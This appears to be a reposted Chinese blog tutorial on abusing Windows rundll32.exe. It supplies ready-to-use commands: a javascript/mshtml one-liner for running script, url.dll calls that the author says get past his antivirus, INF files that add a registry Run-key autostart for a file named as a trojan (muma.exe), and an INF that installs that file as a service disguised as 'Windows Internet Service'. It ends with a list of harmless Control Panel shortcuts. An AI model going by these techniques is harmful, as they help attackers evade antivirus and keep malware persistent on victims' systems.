1. 程式人生 > >命令行下的“蒙面歌王”rundll32.exe

命令行下的“蒙面歌王”rundll32.exe

資料 intern top poi sage 操作 殺毒軟件 幫助 app

在Windows系統中,為了節省內存和實現代碼重用,微軟在Windows操作系統中實現了一種共享函數庫的方式。這就是DLL(Dynamic Link Library)文件,即動態鏈接庫,這種庫包含了可由多個程序同時使用的代碼和數據。Rundll.exe 和 Rundll32.exe 的命令行實用程序,通過這兩個程序可調用從16位或32位DLL導出的函數。現在Rundll.exe 基本被淘汰,rundll32.exe格式為:RUNDLL32.EXE <dllname>,<entrypoint> <optional arguments>。這本來是微軟的一個正常的命令,但是在黑客手裏會發生巨大的作用,有些命令不為外人所知,堪稱命令行下的蒙面歌王,我為大家來揭面一下,讓大家知道它的不為人知的幾個功能。

一、用C++如何寫一個簡單的被Rundll32.exe調用的dll

我用Visual studio 2017寫了一個簡單的代碼,內容如下:

// Dll3.cpp: 定義 DLL 應用程序的導出函數。
//

#include "stdafx.h"
#include <atlstr.h>

extern "C" __declspec(dllexport)
void F2(
	HWND hwnd,        // handle to owner window   
	HINSTANCE hinst,  // instance handle for the DLL   
	LPTSTR lpCmdLine, // string the DLL will parse   
	int nCmdShow      // show state   
)
{
	if (strlen(lpCmdLine) != 0)
	{
		CString num;
		num = lpCmdLine;
		MessageBox(0, "Message body", num ,MB_OK);
	}
	else
	{
		MessageBox(0, "Message body", "Message title", MB_OK);

	}
}

全部工程文件我已經傳到了https://haiyangtop.cn/dll3.rar。我們在命令行下運行rundll32 dll3.dll ,F2 888,那麽就會彈出標題為888的對話框。全部工程文件我已經傳到了https://haiyangtop.cn/dll3.rar。我們在命令行下運行rundll32 dll3.dll ,F2 888,那麽就會彈出標題為888的對話框。

二、用Rundll32.exe運行js或vbs的腳本代碼

rundll32 javascript:"\..\mshtml,RunHTMLApplication ";window.execScript("msgbox(‘a‘)","vbs");window.close()

技術分享圖片

動畫裏這條命令爛大街了,已經繞不過我本機的火絨了。

三、用Rundll32.exe執行命令繞過殺毒軟件的作法

命令如下:

rundll32 url.dll, OpenURL file://c:\windows\system32\calc.exe

rundll32 url.dll, OpenURLA file://c:\windows\system32\calc.exe

rundll32 url.dll, FileProtocolHandler calc.exe

這是經過反匯編分析url.dll得出的結果,請記住這3條命令,活學活用,這是幹貨。上邊的三條命令都可以繞開我本機的火絨。你可以多分析system32下的dll,說不定你還有驚喜。

四、用Rundll32.exe修改註冊表

寫一個c:/reg.inf文件,增加註冊表啟動項,代碼如下:

[Version]

Signature="$WINDOWS NT$"

[DefaultInstall]

AddReg=My_AddReg_Name

DelReg=My_DelReg_Name

[My_AddReg_Name]

HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun,0x00000000,c:/muma.exe

然後我們運行

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf

就可以增加一個鍵為KAVRun,值為c:/muma.exe的註冊表項了。

技術分享圖片

刪掉剛才加的註冊表啟動項,c:\reg.inf內容如下:

[Version]

Signature="$WINDOWS NT$"

[DefaultInstall]

AddReg=My_AddReg_Name

DelReg=My_DelReg_Name

[My_DelReg_Name]

HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun

運行以下命令就可以刪掉了

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf

幾點說明:

  1. [Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個。My_AddReg_Name和My_DelReg_Name可以自定義。

  2. 0×00010001表示REG_DWORD數據類型,0×00000000或省略該項(保留逗號)表示REG_SZ(字符串)。0×00020000表示REG_EXPAND_SZ。關於inf文件的詳細信息,可以參考DDK幫助文檔。

  3. InstallHinfSection是大小寫敏感的。它和setupapi之間只有一個逗號,沒有空格。128表示給定路徑,該參數其他取值及含義參見MSDN。特別註意,最後一個參數,必須是inf文件的全路徑,不要用相對路徑。

  4. inf文件中的項目都是大小寫不敏感的。

五、使用rundll32.exe 增加一個服務

寫一個srv.inf,內容如下:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供對 Internet 信息服務管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\muma.exe

然後執行命令,會增加一個名字為inetsvr的服務。

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/srv.inf

幾點說明:

  1. ServiceType表示服務類型:0×10為獨立進程服務,0×20為共享進程服務(比如svchost);

  2. StartType表示啟動類型:0 系統引導時加載,1 OS初始化時加載,2 由SCM(服務控制管理器)自動啟動,3 手動啟動,4 禁用。

  3. ErrorControl表示錯誤控制:0 忽略,1 繼續並警告,2 切換到LastKnownGood的設置,3 藍屏。

  4. ServiceBinary裏的服務程序位置:%11%表示system32目錄,%10%表示系統目錄(WINNT或Windows),%12%為驅動目錄system32\drivers。其他取值參見DDK。你也可以不用變量,直接使用全路徑。

  5. 這四項是必須要有的。

刪除剛才增加的服務,寫一個dsrv.inf,內容如下:

[Version]

Signature="$WINDOWS NT$"

[DefaultInstall.Services]

DelService=inetsvr

執行完以下命令就會刪掉了

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/dsrv.inf

INF的具體參數是請查看DDK相關資料。

六、網上老生常談的rundll32的幾十個常用快捷命令了,可能有些人並不清楚

命令列: rundll32.exe shell32.dll,Control_RunDLL

功能: 顯示控制面板

命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1

功能: 顯示“控制面板-輔助選項-鍵盤”選項視窗

命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2

功能: 顯示“控制面板-輔助選項-聲音”選項視窗

……

還有太多太多,我如果寫在文章裏就全是水份了,具體其它命令請參閱:老生常談的一些命令

另:本文中的修改註冊表和增刪服務參考了zzzevazzz的《Do All in Cmd Shell (一切盡在命令行)》部分內容,表示感謝。

命令行下的“蒙面歌王”rundll32.exe